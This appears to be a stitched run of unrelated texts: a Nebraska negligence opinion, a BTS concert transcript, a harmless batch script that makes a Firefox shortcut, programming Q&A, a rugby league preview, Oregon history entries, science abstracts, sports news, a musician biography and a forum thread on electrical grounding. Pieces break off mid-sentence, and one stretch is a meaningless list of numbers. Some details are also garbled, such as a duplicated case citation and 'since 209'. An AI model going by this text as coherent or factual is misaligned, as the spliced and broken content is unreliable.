Barnes claims that because the jury completed verdict form No. 1, finding in favor of Barnes, the jury never reached the issue of contributory negligence. Thus, Barnes contends that Pleiss was not prejudiced by the trial court's failure to instruct the jury on the effect of its allocation of negligence. Barnes' contention is without merit. In Wheeler, we rejected the so-called blindfold rule and held that § 25-21,185.09 mandates that the trial court instruct the jury on the effect of the allocation of negligence and that failure to do so is prejudicial error requiring reversal. We note that during the pendency of this appeal, the Court of Appeals decided Hess v. Heger, 9 Neb.App. 748, 9 Neb.App. 748 (2000), which held that failure to instruct on the allocation of negligence was harmless error. To the extent that Hess conflicts with this opinion, it is expressly disapproved.
Having determined that the trial court's failure to fully instruct the jury on the allocation of negligence requires reversal, we address only Pleiss' remaining assignments of error involving issues that are likely to arise again on retrial.
ASSUMPTION OF RISK
Pleiss also asserts that the trial court erred in instructing |
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] | embarrassed
-Yeah
You know, thinking that it's over...
-Jin, you cried too
-a lot rushed through my mind
I did not cry
I don't want to show my weak side
-I saw you crying facing the back
-"My last time singing Epiphany..."
I will only show you my smiles
Remember that, okay?
You cried at "MIC DROP"
This is the last farewell... sob...
-Last farewell
-Last farewell
-He must've been sad when he did the last farewell
-Last farewell...
Yeah, that was my part so...
-It's all because of the lyrics
-Right, the lyrics...
-Sorry, I wrote it
-Yeah, it's because of you
You've worked so hard
-That's true
-I want to say you all did a very good job
-62 concerts...
-Our ARMY did a good job too
-Big Hit staff also worked very hard
-True...
The staff worked very hard
And our ARMY...
-Should we say "We love you" in one, two, three?
-Should we?
One, two, three
We love you!!
Should we say "We purple you?"
One, two, three
We purple you!!
:: by runningcheese
@echo off
echo set WshShell = WScript.CreateObject("WScript.Shell")>tmp.vbs
echo set oShellLink = WshShell.CreateShortcut("%~dp0" ^& "\Firefox.lnk")>>tmp.vbs
echo oShellLink.TargetPath ="%~dp0Firefox\firefox.exe">>tmp.vbs
echo oShellLink.WindowStyle ="1">>tmp.vbs
echo oShellLink.Hotkey = "CTRL+SHIFT+F">>tmp.vbs
echo oShellLink.IconLocation = "%~dp0Firefox\firefox.exe">>tmp.vbs
echo oShellLink.Description = "">>tmp.vbs
echo oShellLink.WorkingDirectory = "%~dp0">>tmp.vbs
echo oShellLink.Save>>tmp.vbs
call tmp.vbs
del /f /q tmp.vbsQ:
Using core data, is the a way to automatically delete an entity when a to-many relationship falls below the min-count?
I have a core data model which includes an entity with a to-many relationship. I have set the relationship to non-optional and set the 'min count' to one. However, I can't work out a way of acting on this rule once it has been breached. Ideally I'd just like the entity deleted... but I can't figure out a way to do this automatically, or work out where I might be notified of this event.
A:
You should be able to use KVO for this. Register for notifications on the relationship property within the entity, and have it delete itself if the count falls below the minimum number.
Toronto Wolfpack are aiming to win back-to-back promotions from League One to Super League in their first two years as a professional club
It has been a wacky race across three countries and two continents for the past six weeks in rugby league's Qualifiers.
There have been twists and turns that have left Super League clubs Leeds (last year's Grand Final winners), Hull KR and Salford Red Devils clinging on for survival in the top division, and have already condemned Widnes to relegation.
Three Championship clubs from as diverse locations as London, Toulouse and Toronto know that at least one of them, and possibly two, will be going up.
How it works
The Super 8 Qualifiers throw together the bottom four clubs from Super League and the top four from the Championship, after they have played a regular season in their respective leagues, to create a new mini-league.
The top three from the Qualifiers go into Super League the following year, the bottom three go into the Championship, and the teams finishing fourth and fifth play off in the "Million Pound Game" to determine the final Super League competitor.
Its complexity and volatility is one of the reasons why clubs recently voted to get rid of the Super 8s from next season. From 2019, it will be a more straight-forward "one up, one down" system.
But while this current crazy, washing machine-type approach to settling promotion and relegation tosses and turns the clubs involved one final time, us neutrals can sit back and enjoy the delicious unpredictability of the outcome of the final round of fixtures.
One thing is certain - Halifax and Widnes will finish in the bottom two spots in the Qualifiers and will both be in the Championship next year.
Nobody at Widnes can complain about their demise. They were a country mile adrift at the bottom of the Super League table at the end of the regular season.
But the other six teams have it all to play for.
Remaining fixtures
Salford Red Devils v Toulouse (Thursday, 27 September, 19:45 BST, live on BBC Radio 5 live sports extra)
Leeds Rhinos v Toronto Wolfpack (Friday, 28 September, 19:45 BST, live on BBC Radio 5 live sports extra)
London Broncos v Halifax (Saturday, 29 September, 19:05 BST)
Hull KR v Widnes Vikings (Sunday, 30 September, 15:00 BST)
SALFORD: If they beat Toulouse, they will be safe. It would give them 10 points from seven games and a superior points difference that will seal a place in the top three. If they lose, they will be hoping that either Toronto or Hull KR slip up in their last game, otherwise the Red Devils will be in the Million Pound Game.
TOULOUSE: If they lose, the probability is they will be out of the promotion reckoning. If they win, they have a chance of automatic promotion, but would need Toronto and Hull KR to both lose their games and for London not to rattle up a big score in their last game. Their best hope is probably to claim a place in the Million Pound Game.
LEEDS: Last year's champions are top of the Qualifiers with five wins from six games and should be safe, but there is a scenario that could still see them relegated. If they lose to Toronto by 32 points or more and Hull KR beat Widnes by a big, but not impossible margin, the Rhinos could yet be sucked into the Million Pound Game reckoning. That is highly unlikely, though.
TORONTO: The Wolfpack could claim automatic promotion, could be in the Million Pound Game, or could miss out altogether. If the Canadians beat Leeds by more than 32 points they are definitely up. A win, by any margin, would put them in a very strong position, but they would still potentially have a nervous wait to see if Hull KR can pip them on points difference. The likeliest scenario is that rugby league's newest and furthest-flung professional club will be in the Million Pound Game.
London Broncos last played in Super League in 2014, when they were relegated alongside Bradford Bulls
LONDON: The Broncos start the final round of games sixth but will go into their match against Halifax as favourites to win and win big. They will need to. Claiming a place in the top three is probably too much of a long shot for them, but it is not impossible. More likely, they will be hoping to win and that Toulouse lose at Salford, which would confirm a Million Pound Game spot for London.
HALIFAX: They have the smallest budget in the Qualifiers and, despite some heroic performances, they have failed to pick up a point so far. Their triumph this year has been in actually reaching the Championship's top four again, beating off some bigger clubs to get there. They are back in the Championship next year.
HULL KR: Promoted to Super League last year, they are desperate not to go straight back down. If they beat Widnes and either Toronto or Salford have lost, then they will be in the top three and confirm their place in next year's Super League. Even if Toronto have won, they could still overhaul them on points difference. Lose and they could be relegated automatically or find themselves in the Million Pound Game, depending on other results. They have a huge advantage, though, as they play on Sunday after everyone else has played, so they will know exactly what they have to do. And they are playing a demoralised Widnes who are already doomed, not that that is likely to settle any Rovers nerves.
WIDNES: After a seven-year stay in the top flight, they are definitely relegated after a disastrous season. They finished rock bottom of Super League - for the second season in a row - in a year that saw them lose 17 games on the bounce in one wretched run. Relegation may be a blessing for a club that will now try to rebuild and bounce back.
My prediction...
Well, it is a mug's game to try to make any predictions in what has been a nerve-tingling, breathtaking series of matches in the Qualifiers.
Last weekend, for example, three of the Championship sides - Toronto, Toulouse and London - all beat Super League opposition.
But I reckon Leeds, Salford and Hull |
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] | and pesticides. The Western meadow-lark is found throughout much of western North America, and is also the state bird of Kansas, Montana, Nebraska, North Dakota, and Wyoming.
**Medford** The county seat of Jackson County is located in the **Bear Creek Valley**. It was created as a result of the construction of the **Oregon & California Railroad** through the valley, which had been settled by miners and farmers in the 1850s. The railroad bypassed the historic county metropolis of **Jacksonville** , which was sited against the foothills, when it built up the valley in 1884. Surveyor J. S. Howard laid out the townsite in 1883; the post office opened in 1884; and Medford was incorporated in 1885. It quickly became the chief trading center for the region. The 1890 census gave Medford a population of 967; it was 1,791 in 1900, and 8,840 in 1910 as the district experienced a real estate boom in orchard lands. In 1915, it was reported of Medford that the "city is well built and possesses the appearance of a metropolitan center."
Medford's economy lapsed in the 1920s as the land boom dissipated. In the Depression of the 1930s, the **Good Government Congress** disrupted local politics. Fruit culture and fruit-packing continued to anchor the economy, and companies such as **Harry and David** reached new markets. Lumber and plywood production increased in the 1940s and 1950s. Medford's population hit 17,305 in 1950, and 39,476 in 1980. The downtown area, increasingly deserted in the 1970s and 1980s as suburban shopping proliferated, rebounded somewhat during the 1990s with impetus from the successful restoration of the historic 1924 Craterian Theatre into the Craterian Ginger Rogers Theater as a community performance center. (The new name reflects the longtime association of actress Ginger Rogers with the area; she appeared on stage at the Craterian in 1926, and owned and operated a ranch north of Medford from 1940 to 1990. The name Craterian is derived from Crater Lake.) Medford's estimated population in 2007 was 75,675.
**Meek, Joseph Lafayette** (1810–1875) Joseph Meek was born in Virginia, and became a fur trapper in the Rockies from 1829 to 1840. A "mountain man," Joseph Meek traveled far and experienced great adventures. He settled down in 1840, taking up a land claim on the **Tualatin Plains** that year; he became active in the efforts to form a **provisional government** in 1843 and was elected the first sheriff—and tax collector; he also conducted the first census, in 1845, and served in the legislature. Meek's moment of national glory came in 1848 when he traveled to Washington, DC, to seek federal assistance following the deaths of **Marcus and Narcissa Whitman**. Meek famously described himself as "envoy extraordinary and minister plenipotentiary from the republic of Oregon to the court of the United States." The Oregon Country was since 1846 under American jurisdiction, and Meek argued for the establishment of an **Oregon Territory**. His petition was heard, Meek was appointed a U.S. marshal, and he accompanied the new territorial governor, **Joseph Lane** , back to Oregon in 1849. Meek retired to his Washington County farm in the late 1850s. In the late 1860s, historian **Frances Fuller Victor** interviewed Meek and crafted their talks into her book _The River of the West: Life and Adventure in the Rocky Mountains and Oregon_ (1870).
**Meeker, Ezra** (1830–1928) Ezra Meeker revived the **Oregon Trail** and helped boost it to legendary status. Meeker was born in Ohio and came west over the trail in 1852–53 to the Puget Sound country of Washington Territory with his new wife and child. The family settled near Puyallup in 1862, where Meeker was a very successful hops farmer. Late in his life, he became convinced that the Oregon Trail deserved recognition and preservation as an historical artifact and as a memorial to the **pioneer** American settlers. Meeker proved to be a most successful publicist: in 1906 he recreated his trek, eastbound, by ox cart, pulled by the team of Dave and Dandy, a lengthy event that was well covered by newspapers across the country. He eventually crossed the Missouri and continued until he reached the East Coast, met Theodore Roosevelt, and pushed the idea of marking the trail before Congress. After returning to Puyallup in 1908, he set off again in a **covered wagon** in 1910, this time from The Dalles, Oregon, on a similar adventure, even making a detour to San Antonio to pose in front of the Alamo; he returned in 1912. Indefatigable, Meeker subsequently covered the route by train, automobile, and, in 1924, by airplane. Along the way, he distributed postcards, thousands of which survive today. Meeker was a prolific author of books and pamphlets, about the Pacific Northwest, about the Oregon Trail, about growing hops, and about himself. Although a resident of Washington state for most of his life, Meeker was nonetheless the archetypal Oregon Country Pioneer. Dave and Dandy, preserved by taxidermy, can be seen at the Washington State Historical Museum in Tacoma.
**Pictured at a farmhouse stop somewhere in Oregon, Ezra Meeker poses with his wagon tent in a photograph taken about 1913**. Albert H. Barnes photograph. University of Washington Libraries, Special Collections, Barnes 1889.
**Meier, Julius L**. (1874–1937) Julius Meier was born in Portland to German Jewish immigrants Aaron and Jeannette (Hirsch) Meier; Aaron was a partner in the **Meier & Frank** department store. Julius Meier attended public school and graduated from the University of Oregon law school in 1895, and practiced law for several years before entering the family business. There he was the store's general manager until 1930 and subsequently its president. Meier engaged in a number of civic activities, heading the state commission for the 1915 Panama-Pacific Exposition in San Francisco and promoting Liberty Loan drives during World War I. Meier entered the political arena in 1930 after the death of his friend and former law partner George W. Joseph, who had just won the Republican nomination for governor. Meier entered the fray as an independent candidate favoring state involvement in the development of hydroelectric power from the Columbia River, a position that Joseph had espoused but which the official Republican replacement candidate opposed. It was a contentious issue; Meier won the election as governor, but had to witness federal rather than state development of the Columbia with **Bonneville Dam** as the first project; he came to support that approach. His election also seemed to override the recent appeal of the **Ku Klux Klan** , which had influenced elections in the 1920s. Meier's Depression-era administration improved the state's finances, regulated the liquor trade with the repeal of prohibition, established a state police system, and created a state unemployment commission and board of agriculture. Meier declined other political opportunities for health reasons and retired from office in 1935. His Columbia River gorge estate, Menucha, has become a favorite conference and retreat center.
**Meier & Frank** The full-block, thirteen-story, white terra cotta bulk of the Meier & Frank department store in downtown Portland spoke loudly of the company's large presence in retail trade. The company had its beginnings in 1857, when Aaron Meier (father of **Julius L. Meier** ) began selling dry goods at a store on Front Street. Emil Frank became a partner in 1873, and the store expanded. Emil left in 1888, but his brother Sigmund (who had married Aaron Meier's daughter Fannie) joined the firm and the name remained, even after Aaron Meier's death in 1889. By 1898, the store was occupying the SW Fifth Avenue site that became their headquarters. Architect **A. E. Doyle** designed the signature building, which was erected in segments that opened in 1909, 1915, and 1930, when the entire block was occupied. From the 1910s through the 1950s, Meier & Frank, **Lipman, Wolfe & Company**, and **Olds & King** reigned as the three major shopping destinations in downtown Portland. Among the store's beloved features were the weekly Friday Surprise shopping sprees, the central information kiosk with its clock (the favorite "I'll meet you there" location in downtown), and the store window Christmas concoctions. Meier & Frank's banks of elevators were presided over by "starters": commanding women equipped with stentorian voices and clicking castanets who dispatched the crowded elevators to their various destinations. The store's Georgian Room restaurant, beloved of **James Beard** , served chicken salad to thousands of shoppers.
With downtown department stores faltering in the 1950s, Meier & Frank bought and demolished the venerable Portland Hotel to build a parking lot (it was later transformed into **Pioneer Courthouse Square** ) in hopes of boosting sales. The company built its first branch store in Salem in 1955, and then one in the **Lloyd Center** in 1960. After a bitter battle, the Meier and Frank families sold the business to the May Company chain in 1966. While other stores were added, the Meier & Frank label declined over the years, and May sold it in 2005 to Federated Department Stores. Federated converted all the stores to their Macy's brand; the former flagship store was renovated and re-opened in 2007 as |
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1969,
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74,
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70,
15,
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13,
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13,
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13,
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1959,
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3446,
187,
187,
510,
24941,
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434,
38204,
14,
21085,
10717,
4925,
247,
1182,
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13,
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273,
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863,
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275,
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15,
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254,
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432,
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281,
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574,
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13,
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273,
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47777,
44762,
833,
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434,
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10003,
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6518,
31150,
21647,
8920,
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271,
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14,
11713,
382,
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13,
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13,
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187,
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5035,
671,
187,
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254,
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366,
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571,
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187,
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27,
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27,
1394,
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27,
39,
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73,
301,
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428,
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688,
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591,
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13,
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13,
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326,
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16,
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13,
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434,
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273,
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1978,
253,
2133,
3276,
387,
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15,
187,
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510,
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273,
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29108,
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13,
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673,
285,
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13,
12264,
390,
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4073,
13,
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15,
187,
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643,
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253,
1268,
273,
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273,
253,
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310,
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273,
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13,
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275,
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1420,
3126,
390,
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253,
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313,
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15,
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12682,
481,
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41,
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38528,
1830,
426,
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342,
28637,
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35,
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13,
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47425,
310,
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28637,
26883,
15,
1623,
253,
10214,
13,
253,
17052,
3139,
310,
271,
26883,
1417
] | to discuss the instrumentation involved, spectral assignment methods for small and large proteins, and the utility of other spin active nuclei (e.g., (13)C and (15)N) to aid assignment of the latter.Sierra Leone Progressive Independence Movement
Sierra Leone Progressive Independence Movement (also known as 'Dawoh' ('the pot')) was a political party in Sierra Leone, led by Paramount Chief from Kono, Tamba Sungu Mbriwa. The party was founded in 1958, through the merger of the Kono Progressive Movement and the Sierra Leone Independence Movement. The objective of the party was, according to its founding declaration, to "prosecute more vigorously a political campaign for national unity and independence."
Kono Mannda, the mouthpiece of the erstwhile KPM, became the organ of the SLPIM in Kono.
The party suffered from repression from the government, SLST and Paramount Chiefs. In September 1960, Mbriwa was jailed for six months.
In February 1961, Mbriwa was elected Paramount Chief of Fiama Chiefdom.
In 1962 an alliance was declared between SLPIM and the All People's Congress. One day after the announcement, President Albert Margai dismissed Mbriwa.
In the election SLPIM obtained 5.2% of the national vote and four seats (all from Kono). Outside of Kono, the candidates of the party fared poorly.
In 1963 the Sierra Leone People's Party began pressurizing the SLPIM parliamentarians to join the government bloc. The alliance with APC was broken and the party was divided on how to relate to the SLPP. Three of the four SLPIM MPs, S. L. Matturi, D. S. Bockari and G. W. Mani, joined the SLPP. Leading figures who remained with SLPIM, such as the family of T.R. Foyoh, went into exile.
In the mid-1960s the SLPIM was dissolved by Mbriwa. The sole remaining SLPIM Member of Parliament, S.H. Gandi Capio, joined the APC. In July 1965 the Democratic People's Congress was formed by some remaining elements of the SLPIM.
References
Category:1958 establishments in Sierra Leone
Category:Defunct political parties in Sierra LeoneConvergent sequence evolution between echolocating bats and dolphins.
Cases of convergent evolution - where different lineages have evolved similar traits independently - are common and have proven central to our understanding of selection. Yet convincing examples of adaptive convergence at the sequence level are exceptionally rare [1]. The motor protein Prestin is expressed in mammalian outer hair cells (OHCs) and is thought to confer high frequency sensitivity and selectivity in the mammalian auditory system [2]. We previously reported that the Prestin gene has undergone sequence convergence among unrelated lineages of echolocating bat [3]. Here we report that this gene has also undergone convergent amino acid substitutions in echolocating dolphins, which group with echolocating bats in a phylogenetic tree of Prestin. Furthermore, we find evidence that these changes were driven by natural selection.The Giants aren’t the only team facing injury issues at receiver.
The Bengals saw star wideout A.J. Green get carted off the field with a left ankle sprain after going down while running a route at Saturday’s training camp practice, according to the Cincinnati Enquirer.
Green could be seen punching the bench multiple times while talking to team doctors before being put in the cart. He later emerged with angle wrapped and walking on crutches.
“You don’t want to assume anything, but I think we’re going to be OK,” Bengals coach Zac Taylor told reporters.
The Giants have recently seen receivers Sterling Shepard and Corey Coleman suffer injuries in training camp and Golden Tate get a four-game PED suspension.
Green, who turns 31 on Wednesday, played just nine games last season because of a toe injury, and a hamstring issue limited him to 10 games in 2016. He made the Pro Bowl each of his first seven seasons.Q:
Why are some git commands has single - for additional options whereas some others have --
I am trying to learn the git commands and it is confusing that some commands in git uses single single -
git log -n 2
Whereas some other commands use --
git log --grep
I think there should be a particular pattern in which we use single hypen and double hypen with git commands. Could someone please explain this
A:
If the name of an option is long such as the full word grep use --, Otherwise for single character options like n use -.
Note that -grep is the same as the four short options -g -r -e -p. tar does this but notably find does not which is why find does not need -- for long options.
Long options were an extension. There used to only be short options but there are only 62.
Board of Trustees for the Education of Youth
The Board of Trustees for the Education of Youth (Czech: Kuratorium pro výchovu mládeže) was an organization in the Protectorate of Bohemia and Moravia that provided athletic and cultural activities for youth ages ten to 18. Though created at the impetus of officials in the German-backed Protectorate government, it evolved to promote a distinctive form of "Reich-loyal" Czech nationalism that was viewed with concern by some quarters of the Nazi Party. Following World War II, it was banned as a fascist organization and its principal leaders put on trial.
History
The Board of Trustees for the Education of Youth (or Kuratorium) was established in 1941 partly on the initiative of Colonel Emanuel Moravec to provide athletic and cultural activities for Czech youth between the ages of ten to 18. Many Kuratorium leaders were functionaries or supporters of the fascist Vlajka and Livia Rothkirchen has characterized its programming as an effort at Nazi indoctrination.
However, Tara Zahra has noted that at the group's camping trips and other retreats for Czech boys and girls a special focus was made in celebrating Czech culture, with Sicherheitsdienst informants reporting to the German authorities that a kind-of "Reich-loyal" Czech nationalism was being organically developed by the Kuratorium.
Moravec was chair of the Kuratorium throughout its existence, while the organization was operationally managed by the Czech physician František Teuner.
Following World War II, the Beneš decrees proscribed the Kuratorium as a "fascist organization". In 1947, leaders of the Kuratorium were tried over their involvement in the organization, resulting in the conviction of Teuner and seven others: Eduard Chalupa, Jan Svoboda, Josef Victorin, Karel Žalud, Jiri Málek, Vaclav Krigar, Jaroslav Krigar, and Karel Mihaliče.
Activities
According to a 1944 report in The Guardian, the Kuratorium was then putting on "180 theatrical shows a week. In Prague alone its concerts, films, and exhibitions are visited by 13,000 children every day. It has arranged 13 great sports meetings in which 30,000 boys and girls took part. It has taught 80,000 children to swim. Some 200,000 have actively participated in its 'Art for Youth' competition, and 20,000 have been entertained at free holiday camps".
The Kuratorium's nationalist-oriented programming reached a zenith in the summer of 1944 when the "Week of Czech Youth" was staged in Prague, activities during which included thousands of Kuratorium participants attired in Czech national costume singing traditional Czech songs. Observers from the Hitler Youth came to the conclusion that Kuratorium activities had essentially become nothing more than a continuation of the banned Sokol movement and were concerned that "Reich-loyal" Czech nationalism would transform into a dangerous "double-edged sword". On the one hand, the existence of the Kuratorium showcased Germany's supposed tolerance for Czech institutions and helped educate Czech youth towards an anti-communist worldview, however, on the other hand it severely undermined the ultimate goal of Germanizing the population of the Czech lands.
See also
National Partnership
Pioneer movement
Scouting
References
Category:Protectorate of Bohemia and Moravia
Category:1942 establishments in Europe
Category:Youth organizations
Category:Fascist organizationsHyperhidrosis - Excessive Sweating
Definitions
In medical science, the term "hyperhidrosis" is used when sweat secretion exceeds 100 mg of sweat per cm2 and minute. In clinical practice, however, the definition is more subjective and implies an excess of sweating that causes discomfort and/or a series of difficulties in daily life, exceeding the body's physiological requirement of sweat to keep the body temperature at a normal level.
The activity of the sweat glands is not constant but varies during the 24 hours, reaching minimum levels during night time and peaking during physical exercise, psychological or psychophysical stress, heat exposure etc.
Among other factors determining the level of humidity of the skin is the degree of evaporation, markedly reduced in humid climatic environment or when covering the sweating surface (e.g. closed shoes).
BROMHIDROSIS = sweat with unpleasant odor.
Bromhidrosis is often associated with hyperhidrosis, but excessive sweating is not necessarily causing unpleasant odor. On the contrary, the sweat itself is an odorless |
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] | ish for being “a voice for those who how have little or no voice.” First Switch tune “Crying” is best described by Manuva himself: “a very paranoid fidget affair,” all tricky rhythms and deadpan delivery. Four Tet’s “Facety 2:11” has already blown minds and ears on both sides of the Atlantic, a jump-cut, oddly beautiful meditation on the power of the word. “Don’t Breathe Out” is an uplifting crossover moment with reggae lilt. Rodney describes “Cargo,” tongue only slightly in cheek, as his stadium tune and, with its emotional build, its easy to imagine a sea of lighters greeting it. From “Stepping Hard,” Smith unleashes a suite of emotional showstoppers, interspersed with the playground-knowingness of single “One Thing.” The album culminates with the stunning, raw and beautiful “I Know Your Face,” which could leave you devastated if not followed up by the revived vigour of “Fighting For.”
One of the true pioneers and originals of British music, any album from Roots Manuva is an event. When it’s as good as ‘Bleeds’ it’s one of the musical events of the year. Both genre-defying and deeply rooted in what he describes as “the culture of Bass and Verb,” the record innovates and consolidates in equal measure. Rodney Smith describes himself as “a British Black musical Mark Rothko” and ‘Bleeds’ is another masterpiece from this abstract wordsmith.
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BIOGRAPHY
Rodney Smith aka Roots Manuva is one of the titans of Black British music.Smith made his recorded debut in 1994 as part of IQ Procedure through Suburban Base's short-lived hip hop imprint Bluntly Speaking Vinyl. He debuted as Roots Manuva the same year on Blak Twang's 'Queen's Head' single, before releasing his own single, 'Next Type of Motion' the following year through the same label, the hugely influential Sound of Money. 1996 saw the release of his collaborations with Skit...
Rodney Smith aka Roots Manuva is one of the titans of Black British music.
Smith made his recorded debut in 1994 as part of IQ Procedure through Suburban Base's short-lived hip hop imprint Bluntly Speaking Vinyl. He debuted as Roots Manuva the same year on Blak Twang's 'Queen's Head' single, before releasing his own single, 'Next Type of Motion' the following year through the same label, the hugely influential Sound of Money. 1996 saw the release of his collaborations with Skitz ('Where My Mind Is At'/'Blessed Be the Manner') on 23 Skidoo's Ronin label. The release of 'Feva' on Tony Vegas's Wayward imprint followed in 1997. This was also the year that saw the first releases from Big Dada. In 1998 he joined the label and the following year released his fiercesome debut, 'Brand New Second Hand'. From an initial 3000 records put into the shops 'BNSH' has now sold over 50,000 copies in the UK. It also made the first dents in the wall of complacency and indifference which has often greeted home-grown Black music in this country. Manuva was rewarded for his breakthrough with a MOBO as Best Hip Hop Act that year. As if to demonstrate the broad appeal of his style, he also featured on Leftfield's 'Dusted' from their 'Rhythm & Stealth' album.
Big things were now expected of Smith and he delivered with 2001's 'Run Come Save Me', the record which gained him a nomination for the Mercury Music Prize and which has currently sold well over 100,000 copies in the UK. More importantly, it spawned the all-time classic 'Witness' (voted the greatest UK hip hop tune of all time by the readers of Hip Hop Connection) on an album that ran from the broad, swaggering pop of 'Dreamy Days' to the dark, odd meditation of 'Evil Rabbit'. It is also the record which led the Guardian newspaper, in October 2003, to proclaim Manuva fifth in their '40 Best Bands In Britain' feature, proclaiming that "his influence is incalculable and he opened the doors for the Streets, Dizzee Rascal et al."
Smith followed up that album with "Slime & Reason" in 2008 and "4everevolution" in 2011. Both records were acclaimed by critics and fans alike. In addition, 2010 saw the release of "Duppy Writer," Alongside these releases, he contributed to the first Gorillaz record, started up his label-come-gang, Banana Klan, and guested on countless records for other artists.
Between times, he toured festivals the world over (on one memorable night being joined onstage by Usain Bolt) and developed an occasional sideline as a “DJ/selecta.” In addition, for a number of years, Banana Klan and its artists took up an increasing amount of Smith’s time, as did curating and promoting a series of “Dub College” events that featured everyone from Micachu and The Bug to Dawn Penn. As ever, Smith was less interested in genre than in pushing “bass culture” in new and interesting directions. He has also collaborated and guested with a long list of artists over the years not only Gorillaz, but a diverse selection of artists including Jamie Cullum, The Maccabees, Toddla T, The Bug, The Cinematic Orchestra, Leftfield and Mr Scruff and many others. The records continued to come. 2010 saw the download-only release of “Snakebite” (complete with an excellent video, shot on the same Kent beaches as the album cover to Run Come Save Me), new remixes and collaborations for Ninja Tune’s twentieth anniversary XX compilation and the release of Duppy Writer, a reggae reinterpretation of his back catalogue by Wrong Tom featuring the blazer “Jah Warriors”.
Having had music featured in the very first series of Skins back in 2007, when Rodney was asked to compose a track for the very last series, he jumped at the chance. With a brief that covered everything from tempo and feel to hints at lyrical content, Manuva cooked up “Stolen Youth” - a classic Roots Manuva moment built on mournful strings, heartbeat drum programming and the kind of lyrical flights that made his name, all delivered in that trademark chocolate-growl.
After a wondrous performance at the BBC’s Maida Vale with fellow sonic adventurers The Invisible, the last two years have seen Rodney back in his laboratory, brewing up the ingredients for his next brand new album. The first results of his latest experiments were astonishing. An initial double A-side single, Facety 2:11 / Like a Drum saw Smith recruit two of electronic music’s most brilliant talents, Four Tet and Machinedrum. Summer 2015 was spent appearing at a series of fesitvals, including supporting Blur at Hyde Park, while putting the finishing touches on his new record, ‘Bleeds.’
His sixth studio album, ‘Bleeds’ is his most concise and focussed record, his most emotionally affecting and powerful release since his breakthrough, ‘Run Come Save Me.’ Drawing upon production assistance from young British producer, Fred, together with musical heavyweights Four Tet, Adrian Sherwood and Switch’s new production team, With You, the title of the record is, in the man’s words, an “egocentric jest of daring to do things in the tradition of Jesus: I’m ready to bleed for the artform.” It is, of course, also a reference to the way in which genres, in the sonic world of Roots Manuva, have a tendency to bleed into one another, so that hip hop, reggae, techno, funk, neo-classical, all blend together to create “liquid soul, the blood, the bleeds that paint infinite sacred wonders in our dreams and unfold in our day-to-day.”
From the opening chords of “Hard Bastards” you know “Bleeds” is going to be something special. The tune combines melodramatic strings and choral work with hard-hitting social comment and leaves us in no doubt that there will never be any sell-out in Manuva world, just a relish for being “a voice for those who how have little or no voice.” First Switch tune “Crying” is best described by Manuva himself: “a very paranoid fidget affair,” all tricky rhythms and deadpan delivery. Four Tet’s “Facety 2:11” has already blown minds and ears on both sides of the Atlantic, a jump-cut, oddly beautiful meditation on the power of the word. “Don’t Breathe Out” is an uplifting crossover moment with reggae lilt. Rodney describes “Cargo,” tongue only slightly in cheek, as his stadium tune and, with its emotional build, its easy to imagine a sea of lighters greeting it. From “Stepping Hard,” Smith unleashes a suite of emotional showstoppers, interspersed with the playground-knowingness of single “One Thing.” The album culminates with the stunning, raw and beautiful “I Know Your Face,” which could leave you devastated if not followed up by the revived vigour of “Fighting For.”
One of the true pioneers and originals of British music, any album |
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533
] | isn't on the body of the
device. ~20 volts between adjacent high-current appliances on different phases
probably wouldn't be terribly dangerous to most people, but it is sloppy.
3\. For GFCI/RCD, it separates bona fide return currents from "accidental"
return currents. With only two wires, dropping a toaster into a (PVC-drain)
bathtub wouldn't trip. (Erm, I just realized most toasters are actually only
two wires. Well uh, don't do that).
~~~
wrycoder
If that "toaster circuit" is protected by a GFCI, it will indeed trip with
only two wires. The GFCI is sensing the imbalance between hot and neutral (the
rest went through the bath water). Both currents pass through the same toroid,
but they are in opposite directions and normally exactly cancel, so no flux is
induced in the toroid. If there is an imbalance, a current is induced in a
secondary winding. This will trip the GFCI internal breaker. Note that this
does not involve the green wire.
~~~
mindslight
Except there will be no imbalance if there is no other path for the current to
travel by...
The geometry of the electric field in water should probably be similar to that
in air (mostly contained to within the case), just don't drop both a toaster
and a waffle maker in at separate ends.
~~~
wrycoder
The resistance of slightly salty bathwater is much lower than air. While baths
are not often plumbed with metal pipes these days, one can still expect some
current flow to ground. It only takes milliamps of stray current to trip a
GFCI.
~~~
mindslight
Milliamps sounds like a tiny amount in the context of home power, but 5mA at
120V is still only 24kOhm. This is actually pretty low to just assume away.
I'd agree there could be some water left over in the drain pipe from the last
bath, splashes making a path to the spigot, or something like that. I just
wouldn't count on it.
------
watersb
I have been studying Grounding vs Bonding these past few weeks, great timing
to see this HN discussion.
Some training videos for pro electricians and US National Electric Code
compliance helped me.
[https://youtu.be/qNZC782SzAQ](https://youtu.be/qNZC782SzAQ)
Basically, _bond_ everything together if it can carry a charge. _Ground_ that
bond at _only one place_ in an electrical service.
More than one "ground" sets up a situation where a potential difference can
develop between the various "grounds". Ground Fault detection may no longer
work in that case. Which is not good.
(The presentation is weirdly sexist in offhand comments, which I often
encounter in trade work of this kind, but I do believe that's changing.
Slowly. The USA needs more people who know how to build things.)
~~~
simonebrunozzi
> The USA needs more people who know how to build things.
USA? The WORLD needs more people who know how to build things.
------
olouv
Beware as this explanation does not apply to every country in the world, in
France for residential systems at least, the protection (green/yellow) wire is
never connected to the neutral (blue) wire, only to earth with a metal rod at
the house. You would get a shock if it was somehow disconnected from the
rod/earth. Neutral is also not bounded to earth inside the house. Be safe!
------
ganonm
"Since the ground-fault current path has inherently much higher resistance
than the neutral wire, the amount of current flowing through the circuit jumps
enormously during a ground-fault."
This is incorrect (probably a typo) - the GFC ensures there is a very _low_
resistance path to source, which ensures a current spike that is sufficient to
blow the fuse.
~~~
vvillyd
Yeah, that was a typo on my part. I didn't notice it at first, and it's now
been so long since I posted it that I would feel disingenuous editing it. I
think someone pointed out the typo in the comments.
~~~
penagwin
It's very common to edit your typo but still leave it there either crossed
out, and/or leave an EDIT: and explain what/why you changed it.
It's perfectly okay to ensure your text is communicating accurate information
- in fact leaving it may undermine your explanation as certain folks will
focus on the error (or others won't notice it and learn something incorrect).
------
Ives
The details of this also vary based on where you're at. In the US, neutral is
bonded to earth at every house I think. In Europe, neutral is only bonded to
earth at a local power station.
~~~
robocat
The US system is somewhat unique and lacks heaps of safety features: I am
guessing mostly because a 110V shock is far less dangerous than a 240V shock
(Although higher amperages mean higher risk of fire?).
For example for UK, EU and NZ etc: sockets and pins have a variety of features
to avoid touching the phase (live) wire with say a screwdriver or knife in
hands of a child.
For example, all new circuits installed in New Zealand since 209 must have an
Residual Current Detector (the actual rules lead to multiple RCDs per main
